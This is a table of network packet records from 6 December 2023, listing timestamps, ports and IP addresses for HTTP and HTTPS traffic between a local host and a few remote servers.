Dec 6, 2023 14:52:14.359631062 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359637022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359649897 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359653950 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359674931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359689951 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359707117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359708071 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359730959 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359739065 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359755039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359759092 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359770060 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359797955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359800100 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359817982 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359833956 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359843016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359853029 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359874010 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359880924 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359921932 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359955072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359988928 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359996080 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360028982 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360038042 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360069990 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360078096 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360105991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360129118 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360146999 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360163927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360174894 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360181093 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360189915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360189915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360224009 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360241890 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360260010 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360285044 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360295057 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360317945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360336065 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360351086 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360367060 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360378027 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360383034 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360399961 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360428095 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360457897 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360475063 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360491991 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.360507011 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.360532045 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.422282934 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.422454119 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.422535896 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.423254967 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.423289061 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.532390118 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.532536983 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.532593966 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.533265114 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.533282995 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.544353008 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.544425964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.545353889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.545404911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.545634985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.545685053 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.545942068 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.545985937 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546226978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546274900 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546330929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546372890 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546529055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546572924 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546613932 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546653032 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546710968 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546746969 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546766996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546806097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.546825886 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.546864033 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547287941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547333956 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547534943 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547573090 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547614098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547646046 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547653913 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547679901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547717094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547756910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547763109 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547794104 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547818899 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547852993 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547894001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547931910 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.547943115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.547980070 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548006058 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548039913 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548079967 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548115969 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548154116 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548188925 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548202038 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548238039 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548407078 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548441887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548598051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548636913 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548661947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548696995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548780918 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548819065 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548857927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548899889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548903942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548935890 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.548948050 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.548989058 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549031973 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549069881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549072981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549105883 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549139023 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549154997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549197912 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549237967 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549380064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549421072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549489975 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549534082 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549544096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549581051 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549603939 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549643040 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549846888 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549889088 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.549956083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.549998999 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550035954 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550076962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550172091 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550214052 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550225019 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550263882 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550288916 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550324917 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550344944 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550385952 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550390005 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550429106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550456047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550493002 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550772905 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550815105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550841093 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550878048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550916910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550954103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.550956964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.550987959 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551103115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551146984 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551166058 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551207066 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551266909 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551307917 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551331997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551372051 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551409960 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551449060 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551513910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551556110 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551712990 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551753998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551842928 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551882982 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.551933050 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.551971912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552131891 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552172899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552229881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552270889 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552345037 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552386999 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552412987 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552448988 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552464962 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552503109 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552530050 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552570105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552576065 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552613020 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552674055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552716970 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552764893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552808046 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.552860022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.552897930 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553186893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553230047 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553308010 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553345919 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553373098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553414106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553426981 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553462982 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553503990 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553541899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553580999 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553617954 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553656101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553697109 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553796053 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.553838015 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.553989887 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554028988 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554074049 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554112911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554116964 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554155111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554223061 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554264069 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554455996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554497004 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554548025 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554591894 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554665089 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554704905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554722071 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554759979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554779053 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554819107 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554828882 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554868937 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554877996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554914951 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.554939985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.554975986 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555000067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555039883 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555051088 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555095911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555151939 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555192947 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555424929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555466890 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555502892 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555541992 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555552959 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555593014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555613995 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555654049 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555676937 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555713892 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555721045 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555761099 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555790901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555829048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555834055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555871964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555907011 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.555944920 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.555990934 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556025982 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556266069 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556307077 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556339025 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556377888 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556418896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556457043 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556520939 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556562901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556782961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556823969 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556904078 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556942940 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.556951046 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.556988955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557010889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557051897 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557054996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557092905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557130098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557168007 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557189941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557229996 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557251930 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557291031 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557306051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557343960 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557353020 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557389975 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557408094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557445049 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557470083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557506084 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557660103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557701111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557735920 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557758093 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557776928 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557790041 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557813883 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557851076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557868958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557907104 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.557966948 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.557985067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558013916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558027029 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558053017 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558093071 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558104038 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558140993 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558178902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558218002 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558269978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558312893 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558353901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558393955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558468103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558511019 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558645964 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558689117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558696985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558733940 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558747053 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558785915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558804035 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.558840036 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.558974028 CET	80	49725	159.223.29.40	192.168.2.5
